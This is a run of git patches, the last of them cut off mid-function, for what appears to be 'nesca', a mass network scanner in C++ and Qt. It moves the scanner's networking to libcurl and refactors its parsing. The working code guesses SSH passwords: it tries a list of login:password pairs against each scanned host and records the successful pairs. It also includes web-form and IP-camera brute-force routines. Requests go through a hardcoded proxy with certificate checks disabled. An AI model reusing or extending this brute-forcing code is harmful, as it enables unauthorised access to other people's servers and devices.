lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) { lopaStr lps; @@ -2088,7 +2108,7 @@ char *_get_ssh_banner(char *ip, int port) return recvBuff; } -int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, char *banner) { int res = -1; if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); @@ -2096,27 +2116,18 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, if(res == 0) { stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); - char goodStr[512] = {0}; - strcpy(goodStr, userPass); - strcat(goodStr, "@"); - strcat(goodStr, host); - strcat(goodStr, "|+|"); - strcat(goodStr, banner); - int bsz = strlen(goodStr); - CSTR->lowerBuff = new char[bsz + 1]; - ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); - CSTR->size = bsz; - strncpy(CSTR->lowerBuff, goodStr, bsz); - memset(CSTR->lowerBuff + bsz, '\0', 1); + buffer->append(userPass); + buffer->append("@"); + buffer->append(host); + buffer->append("|+|"); + buffer->append(banner); return 0; }; return res; } -int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) +int _EstablishSSHConnection(char *host, int port, std::string *buffer, char *banner) { - CSTR->lowerBuff = NULL; - CSTR->size = 0; char login[32] = {0}; char pass[32] = {0}; char temp[64] = {0}; @@ -2133,7 +2144,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) sz = ptr1 - temp; strncpy(login, temp, sz); strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, CSTR, banner); + res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); ZeroMemory(login, sizeof(login)); ZeroMemory(pass, sizeof(pass)); ZeroMemory(temp, sizeof(temp)); @@ -2157,7 +2168,6 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) return -1; } -#pragma region IPCAMWeb int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { char recvBuff[256] = {0}; @@ -2653,20 +2663,53 @@ int _pingMyTarget(char *ip) QString strIP; QString strPort; -const char *buff1 = "GET / HTTP/1.1\r\nHost: "; -const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; -int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) +int Connector::_SSHLobby(char *ip, int port, std::string *buffer) { char banner[256] = {0}; strncpy(banner, _get_ssh_banner(ip, port), 256); if(strlen(banner) > 0) { - return _EstablishSSHConnection(ip, port, CSTR, banner); + return _EstablishSSHConnection(ip, port, buffer, banner); }; return -1; } -int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) +static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp) +{ + ((std::string*)userp)->append((char*)contents, size * nmemb); + return size * nmemb; +} + +int nConnect(char *ip, int port, std::string *buffer){ + CURL *curl = curl_easy_init(); + + if (curl) + { + curl_easy_setopt(curl, CURLOPT_URL, ip); + curl_easy_setopt(curl, CURLOPT_PORT, port); + curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); + curl_easy_setopt(curl, CURLOPT_HEADER, 1L); + curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer); + curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"); + curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128); + curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); + curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); + + curl_easy_perform(curl); + curl_easy_cleanup(curl); + } else { + stt->doEmitionRedFoundData("Curl error."); + return -1; + }; + return buffer->size(); +} + +int Connector::_ConnectToPort(char *ip, int port, char *hl) { if(gPingNScan) { @@ -2676,44 +2719,30 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) }; }; - char mes[512] = {0}; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; + std::string buffer = ""; + int size = 0; - strcpy(mes, buff1); - strcat(mes, ip); - int port = atoi(portC); - if(port != 80){ - strcat(mes, ":"); - strcat(mes, portC); - }; - strcat(mes, buff2); - int cRes; + if(port == 22) size = _SSHLobby(ip, port, &buffer); + else size = nConnect(ip, port, &buffer); - if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); - else if(port == 22) cRes = _SSHLobby(ip, port, &CSTR); - else cRes = _EstablishConnection(ip, port, mes, &CSTR); - int size = CSTR.size; - - if(cRes == -2) return -2; - - if(size > 0 && cRes != -1) - { + if(size > 0) + { ++Alive; ++found; stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - Lexems lx; - lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; + conSTR CSTR; + CSTR.lowerBuff = new char[size + 1]; + CSTR.size = size; + memcpy(CSTR.lowerBuff, buffer.c_str(), size); + memset(CSTR.lowerBuff + size, '\0', 1); - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; + Lexems lx; + lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl); + + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; }; + return 0; } diff --git a/externFunctions.h b/externFunctions.h index dcb722b..d3cea88 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -8,10 +8,11 @@ extern void BConInc(); extern void BConDec(); extern QString GetNSErrorDefinition(char *str, char *defin); extern void _SaveBackupToFile(); -extern char* strstri(char *_Str, const char *_SubStr); +extern char* strstri(const char *_Str, const char *_SubStr); extern char* _getAttribute(char *str, char *attrib); extern char *_findFirst(char *str, char *delim); extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); +extern int nConnect(char *ip, int port, std::string *buffer); diff --git a/finder.cpp b/finder.cpp index 2345673..9ac7018 100644 --- a/finder.cpp +++ b/finder.cpp @@ -4,16 +4,17 @@ #include "externFunctions.h" #include "externData.h" -char* strstri(char *_Str, const char *_SubStr) +char* strstri(const char *_Str, const char *_SubStr) { if(_Str != NULL) { - std::string _lowStr = toLowerStr(_Str); - std::string _lowSubStr = toLowerStr(_SubStr); + const std::string &_lowStr = toLowerStr(_Str); + const std::string &_lowSubStr = toLowerStr(_SubStr); const char *resChar = strstr(_lowStr.c_str(), _lowSubStr.c_str()); - int offset = resChar - _lowStr.c_str(); - if(offset < 0) return NULL; - else return (char*)(_Str + offset); + if(resChar == 0) return NULL; + else { + return (char*)(_Str + (resChar - _lowStr.c_str())); + } }; return 0; } @@ -50,73 +51,76 @@ char *_findLast(char *str, char *delim) return (char *)(str + savedPosition); } + char *GetCodePage(char *str) { char cdpg[32] = {0}; - if(strstri(str, "<meta ") != NULL) - { - char *temp2 = strstri(str, "<meta "); + char *ptr1 = strstri(str, "<meta "); - if(strstri((char *)(temp2 + strlen("<meta ")), "charset=") != NULL) - { - char *temp3 = strstri((char *)(temp2 + strlen("<meta ")), "charset="); - char *temp4 = _findFirst((char *)(temp3 + strlen("charset=")), " \"'>\n\r"); + if(ptr1 != NULL) + { + char *ptr2 = strstri(ptr1 + 6, "charset="); + if(ptr2 != NULL) + { + char *temp4 = _findFirst((char *)(ptr2 + 6), " \"'>\n\r"); if(temp4 != NULL) { - int ln = (int)(temp4 - temp3 - strlen("charset=")); + int ln = (int)(temp4 - ptr2 - 8); if(ln > 16) { return "WTF?"; }; - strncpy(cdpg, (char *)(temp3 + strlen("charset=")), (ln > 32) ? 32 : ln ); + strncpy(cdpg, (char *)(ptr2 + 8), (ln > 32) ? 32 : ln ); if(strstri(cdpg, "%s") != NULL) return "UTF-8"; return cdpg; } else { - stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(ptr2).mid(0, 16) + "]"); return "NULL"; }; - } - else if(strstri((char *)(temp2 + strlen("<meta ")), "charset = ") != NULL) - { - char *temp3 = strstri((char *)(temp2 + strlen("<meta ")), "charset = "); - char *temp4 = _findFirst((char *)(temp3 + strlen("charset = ")), " \"'>\n\r"); + } + + ptr2 = strstri(ptr1 + 6, "charset = "); + if(ptr2 != NULL) + { + char *temp4 = _findFirst((char *)(ptr2 + 10), " \"'>\n\r"); if(temp4 != NULL) { - int ln = (int)(temp4 - temp3 - strlen("charset = ")); + int ln = (int)(temp4 - ptr2 - 10); if(ln > 16) { return "WTF?"; }; - strncpy(cdpg, (char *)(temp3 + strlen("charset = ")), (ln > 32) ? 32 : ln ); + strncpy(cdpg, (char *)(ptr2 + 10), (ln > 32) ? 32 : ln ); if(strstri(cdpg, "%s") != NULL) return "UTF-8"; return cdpg; } else { - stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(ptr2).mid(0, 16) + "]"); return "NULL"; }; - } - else if(strstri((char *)(temp2 + strlen("<meta ")), "charset =") != NULL) - { - char *temp3 = strstri((char *)(temp2 + strlen("<meta ")), "charset ="); - char *temp4 = _findFirst((char *)(temp3 + strlen("charset =")), " \"'>\n\r"); + } + + ptr2 = strstri(ptr1 + 6, "charset ="); + if(ptr2 != NULL) + { + char *temp4 = _findFirst((char *)(ptr2 + 9), " \"'>\n\r"); if(temp4 != NULL) { - int ln = (int)(temp4 - temp3 - strlen("charset =")); + int ln = (int)(temp4 - ptr2 - 9); if(ln > 16) { return "WTF?"; }; - strncpy(cdpg, (char *)(temp3 + strlen("charset =")), (ln > 32) ? 32 : ln ); + strncpy(cdpg, (char *)(ptr2 + 9), (ln > 32) ? 32 : ln ); if(strstri(cdpg, "%s") != NULL) return "UTF-8"; return cdpg; } else { - stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]"); + stt->doEmitionRedFoundData("[GetCodePage] [" + QString(ptr2).mid(0, 16) + "]"); return "NULL"; }; } @@ -125,15 +129,15 @@ char *GetCodePage(char *str) if(strstri(str, "charset=") != NULL) { char *temp2 = strstri(str, "charset="); - char *temp3 = _findFirst((char *)(temp2 + strlen("charset=")), " \"'>\n\r"); + char *temp3 = _findFirst((char *)(temp2 + 8), " \"'>\n\r"); if(temp3 != NULL) { - int ln = (int)(temp3 - temp2 - strlen("charset=")); + int ln = (int)(temp3 - temp2 - 8); if(ln > 16) { return "WTF?"; }; - strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln ); + strncpy(cdpg, (char *)(temp2 + 8), (ln > 32) ? 32 : ln ); if(strstri(cdpg, "%s") != NULL) return "UTF-8"; return cdpg; } @@ -149,18 +153,19 @@ char *GetCodePage(char *str) }; }; } - else if(strstri(str, "charset=") != NULL) - { - char *temp2 = strstri(str, "charset="); - char *temp3 = _findFirst((char *)(temp2 + strlen("charset=")), " \"'\n\r"); + + ptr1 = strstri(str, "charset="); + if(ptr1 != NULL) + { + char *temp3 = _findFirst((char *)(ptr1 + 8), " \"'\n\r"); if(temp3 != NULL) { - int ln = (int)(temp3 - temp2 - strlen("charset=")); + int ln = (int)(temp3 - ptr1 - 8); if(ln > 16) { return "WTF?"; }; - strncpy(cdpg, (char *)(temp2 + strlen("charset=")), (ln > 32) ? 32 : ln ); + strncpy(cdpg, (char *)(ptr1 + 8), (ln > 32) ? 32 : ln ); if(strstri(cdpg, "%s") != NULL) return "UTF-8"; return cdpg; } @@ -429,7 +434,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) int ContentFilter(char *buff, int port, char *ip, char *cp) { - if(buff != NULL) + if(buff != NULL) { int res = 0; std::string tempString = ""; @@ -440,7 +445,11 @@ int ContentFilter(char *buff, int port, char *ip, char *cp) } else { - tempString = toLowerStr(xcode(buff, CP_UTF8, CP_ACP).c_str()); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + tempString = toLowerStr(xcode(buff, CP_UTF8, CP_ACP).c_str()); +#else + tempString = toLowerStr(buff); +#endif }; int sz = tempString.size(); @@ -1512,19 +1521,17 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy) }; } -int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) +int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) { if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1; if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL) { - Connector con; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - int res = con._SSHLobby(ip, p, &CSTR); + Connector con; + std::string sshBuff; + int res = con._SSHLobby(ip, p, &sshBuff); if(res != -1 && res != -2) { - _saveSSH(ip, p, recd, CSTR.lowerBuff); + _saveSSH(ip, p, recd, (char*)sshBuff.c_str()); }; return -1; }; @@ -1551,7 +1558,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * int flag = 0; char cp[32] = {0}; - strcpy(cp, GetCodePage(buffcpy)); + strcpy(cp, GetCodePage(buffcpy)); flag = ContentFilter(buffcpy, p, ip, cp); if(flag == -1 ) return -1; @@ -1590,7 +1597,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; -#pragma region Fillers if(flag == 16) { Connector con; diff --git a/mainResources.h b/mainResources.h index a7cce76..36f63f2 100644 --- a/mainResources.h +++ b/mainResources.h @@ -3,6 +3,7 @@ #include <libssh/libssh.h> #include <openssl/ssl.h> +#include <curl/curl.h> #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #pragma once #include "iostream" @@ -118,14 +119,15 @@ class Lexems { iterationCount = 0; flag = 0; - }; + } + ~Lexems() { iterationCount = 0; - }; + } int _header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *lst, char *rBuff); - int _filler(int p, char* buffcpy, char* ipi, int recd, Lexems *lx, char *hl); + int _filler(int p, char *buffcpy, char* ipi, int recd, Lexems *lx, char *hl); int globalSearchNeg(const char *buffcpy, char *ip, int port); }; @@ -139,11 +141,11 @@ class Connector lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data); lopaStr _WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); - int _SSHLobby(char *ip, int port, conSTR *CSTR); + int _SSHLobby(char *ip, int port, std::string *buffer); int _EstablishConnection(char *ip, int port, char *request, conSTR *cstr, int force = 0); int _EstablishSSLConnection(char *ip, int port, char *request, conSTR *cstr); void _Connect(void *s); - int _ConnectToPort(char *ip, const char *port, char *hl); + int _ConnectToPort(char *ip, int port, char *hl); }; diff --git a/nesca.pro b/nesca.pro index 50c5ce1..60eff02 100644 --- a/nesca.pro +++ b/nesca.pro @@ -77,3 +77,5 @@ unix|win32: LIBS += -lssh unix|win32: LIBS += -lcrypto unix|win32: LIBS += -lpthread + +unix|win32: LIBS += -lcurl diff --git a/nesca_3.cpp b/nesca_3.cpp index 206589a..ad6d9de 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -740,7 +740,7 @@ void nesca_3::slotAddPolyLine() { if(ME2ScanFlag) { - double uu = 0; + double uu = 0.0; QPainterPath path; if(vect.size() > 0) { @@ -750,30 +750,23 @@ void nesca_3::slotAddPolyLine() path.lineTo(vect[i]); }; }; + QGraphicsPathItem* itm = new QGraphicsPathItem(path); - itm->setPen(pen2i); - vectOld.push_front(itm); - QGraphicsPathItem* itemN; - for(int i = 0; i < vectOld.size(); ++i) - { - itemN = vectOld[i]; + itm->setPen(pen2i); + int vSz = sceneGraph->items().size(); + for(int i = 0; i < vSz; ++i) + { + sceneGraph->items()[i]->setY(u+i + 1); + sceneGraph->items()[i]->setOpacity(1 - uu); + uu+=0.027; + u+=1; + }; + sceneGraph->addItem(itm); - itemN->setY(u+i); - itemN->setOpacity(1 - uu); - uu+=0.04; - sceneGraph->addItem(itemN); - u+=2; - }; - int maxPrnt = 30; - while(vectOld.size() > maxPrnt) - { - if(vectOld[maxPrnt] != 0) - { - sceneGraph->removeItem(vectOld[maxPrnt]); - delete vectOld[maxPrnt]; - if(vectOld.size() > 0) vectOld.pop_back(); - }; + if(vSz == 50) + { + sceneGraph->items().pop_back(); }; if(u > 10) u = 1; }; @@ -1918,7 +1911,8 @@ void nesca_3::slotSaveImage(QAction *qwe) { QObject *smB = this->sender(); int ci = ui->tabMainWidget->currentIndex(); - QTime QT = QTime::currentTime(); + QTime QT = QTime::currentTime(); + QString t("*.png"); if(smB == menuPS) { @@ -1953,13 +1947,13 @@ void nesca_3::slotSaveImage(QAction *qwe) sceneGraph->render(&painter, QRect(ax, ay + 8, w - 2, h)); sceneGrid->render(&painter, QRect(ax, ay, w, h)); sceneGrid2->render(&painter, QRect(ax, ay, w, h)); - + QString filename = QFileDialog::getSaveFileName( this, tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - (QString*)&tr("*.png") + &t ); if (filename != "") pixmap.save(filename); } @@ -1985,7 +1979,7 @@ void nesca_3::slotSaveImage(QAction *qwe) tr("Save image"), QDir::currentPath() + "/" + fn, ".png", - (QString*)&tr("*.png") + &t ); if (filename != "") pixmap.save(filename); }; @@ -3342,6 +3336,13 @@ void _startMsgCheck() mct->start(); } + +static size_t WriteCallback(void *contents, size_t size, size_t nmemb, void *userp) +{ + ((std::string*)userp)->append((char*)contents, size * nmemb); + return size * nmemb; +} + nesca_3::nesca_3(QWidget *parent) : QMainWindow(parent) { setWindowFlags ( Qt::FramelessWindowHint ); @@ -3413,6 +3414,48 @@ void _startMsgCheck() _startVerCheck(); _startMsgCheck(); +// curl = curl_easy_init(); +// if(curl) { +// curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"); +// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); +// curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer); +// res = curl_easy_perform(curl); +// curl_easy_cleanup(curl); + +// std::cout << readBuffer << std::endl; +// } + +// CURLcode res; +// std::string readBuffer; +// CURL *curl = curl_easy_init(); + +// if (curl) +// { +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut))); +// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut))); + +// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L))); +// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com"))); +// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut))); +// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_NOBODY, true))); +// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru"))); +// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128))); +// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_NTLM))); +// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_VERBOSE, true))); +// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback))); +// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer))); + +// res = curl_easy_perform(curl); +// curl_easy_cleanup(curl); +// }; + +// stt->doEmitionFoundData(QString(readBuffer.c_str())); //float step = 0; //QPen iprvPenRegular(QColor(51, 51, 51, 100)); //QPen iprvPen(QColor(51, 51, 51, 100)); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 02f96d4..8a1eefb 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -512,10 +512,10 @@ void *_tracker() if(strstr(rBuffT, "http://") != NULL) { t1 = strstr(rBuffT, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) + if(strstr((char*)(t1 + 7), "/") != NULL) { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); + t2 = strstr((char*)(t1 + 7), "/"); + int ln = t2 - t1 - 7; if(ln > 64) { CSSOCKET(sock); @@ -525,7 +525,7 @@ void *_tracker() continue; } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); + else strncpy(ndbServer, (char*)(t1 + 7), ln); if(strlen(t2) > 64) { @@ -895,7 +895,7 @@ void *_connect(void* ss) for(int i = 0; i <= overallPorts; ++i) { if(globalScanFlag == false) break; - if(con._ConnectToPort( ip, std::to_string(portArr[i]).c_str(), "" ) == -2) break; + if(con._ConnectToPort( ip, portArr[i], "" ) == -2) break; }; ConDec(); @@ -1196,6 +1196,7 @@ void ReadUTF8(FILE* nFile, char *cp) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) res = xcode(buffFG, CP_UTF8, CP_ACP); #else + res = std::string(buffFG); #endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; @@ -1210,6 +1211,7 @@ void ReadUTF8(FILE* nFile, char *cp) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) res = xcode(buffFG, CP_UTF8, CP_ACP); #else + res = std::string(buffFG); #endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; @@ -1226,23 +1228,17 @@ void ReadUTF8(FILE* nFile, char *cp) #else strncpy((char*)buffcpy2, buffFG, sz); #endif - ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - ZeroMemory(buffFG, sizeof(buffFG)); - fclose(nFile); } else - { - + { stt->doEmitionRedFoundData("No negative list found"); - stt->doEmitionKillSttThread(); - + stt->doEmitionKillSttThread(); }; } From 30b0b4974be027e02c659d101a505ec2db03d973 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Thu, 5 Mar 2015 17:29:05 +0300 Subject: [PATCH 24/66] Refactoring --- Connector.cpp | 231 +++++++ Connector.h | 20 + DrawerTh_ME2Scanner.cpp | 3 +- Utils.cpp | 11 + Utils.h | 25 + WebformWorker.cpp | 161 +++++ WebformWorker.h | 46 ++ connector.cpp => connector_old.cpp | 935 ++--------------------------- externData.h | 10 +- externFunctions.h | 2 +- finder.cpp | 87 ++- mainResources.h | 25 +- msgcheckerthread.cpp | 48 +- nesca.pro | 12 +- nesca_3.cpp | 57 -- nesca_startModule.cpp | 5 +- vercheckerthread.cpp | 46 +- 17 files changed, 655 insertions(+), 1069 deletions(-) create mode 100644 Connector.cpp create mode 100644 Connector.h create mode 100644 Utils.cpp create mode 100644 Utils.h create mode 100644 WebformWorker.cpp create mode 100644 WebformWorker.h rename connector.cpp => connector_old.cpp (67%) diff --git a/Connector.cpp b/Connector.cpp new file mode 100644 index 0000000..342820b --- /dev/null +++ b/Connector.cpp @@ -0,0 +1,231 @@ +#include <Connector.h> + + + +int Connector::_sshConnect(char *user, char *pass, char *host, int port) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, sizeof(hostStr)); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +} + +char Connector::_get_ssh_banner(char *ip, int port) +{ + char recvBuff[256] = {0}; + std::string buffer; + Connector::nConnect(ip, port, &buffer); + + int sz = buffer.size(); + + if(sz != 0) + { + strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256); + }; + + return *recvBuff; +} + +int Connector::check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, const char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + buffer->append(userPass); + buffer->append("@"); + buffer->append(host); + buffer->append("|+|"); + buffer->append(banner); + return 0; + }; + return res; +} + +int Connector::_EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner) +{ + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + isActive = 1; + BConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); + ZeroMemory(login, sizeof(login)); + ZeroMemory(pass, sizeof(pass)); + ZeroMemory(temp, sizeof(temp)); + if(res == 0) + { + if(i == 0) return -2; //Failhit + BConDec(); + isActive = 0; + return 0; + } + else if(res == -2) + { + BConDec(); + isActive = 0; + return -2; + }; + Sleep(500); + }; + BConDec(); + isActive = 0; + return -1; +} + +QString strIP; +QString strPort; +int Connector::_SSHLobby(char *ip, int port, std::string *buffer) +{ + const char &banner = _get_ssh_banner(ip, port); + if(strlen(&banner) > 0) + { + return _EstablishSSHConnection(ip, port, buffer, &banner); + }; + return -1; +} + +static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp) +{ + ((std::string*)userp)->append((char*)contents, size * nmemb); + return size * nmemb; +} +int Connector::nConnect(char *ip, int port, std::string *buffer, + const char *postData = NULL, + const std::vector<std::string> *customHeaders = NULL){ + + CURL *curl = curl_easy_init(); + + if (curl) + { + curl_easy_setopt(curl, CURLOPT_URL, ip); + curl_easy_setopt(curl, CURLOPT_PORT, port); + curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); + curl_easy_setopt(curl, CURLOPT_HEADER, 1L); + curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L); + curl_easy_setopt(curl, 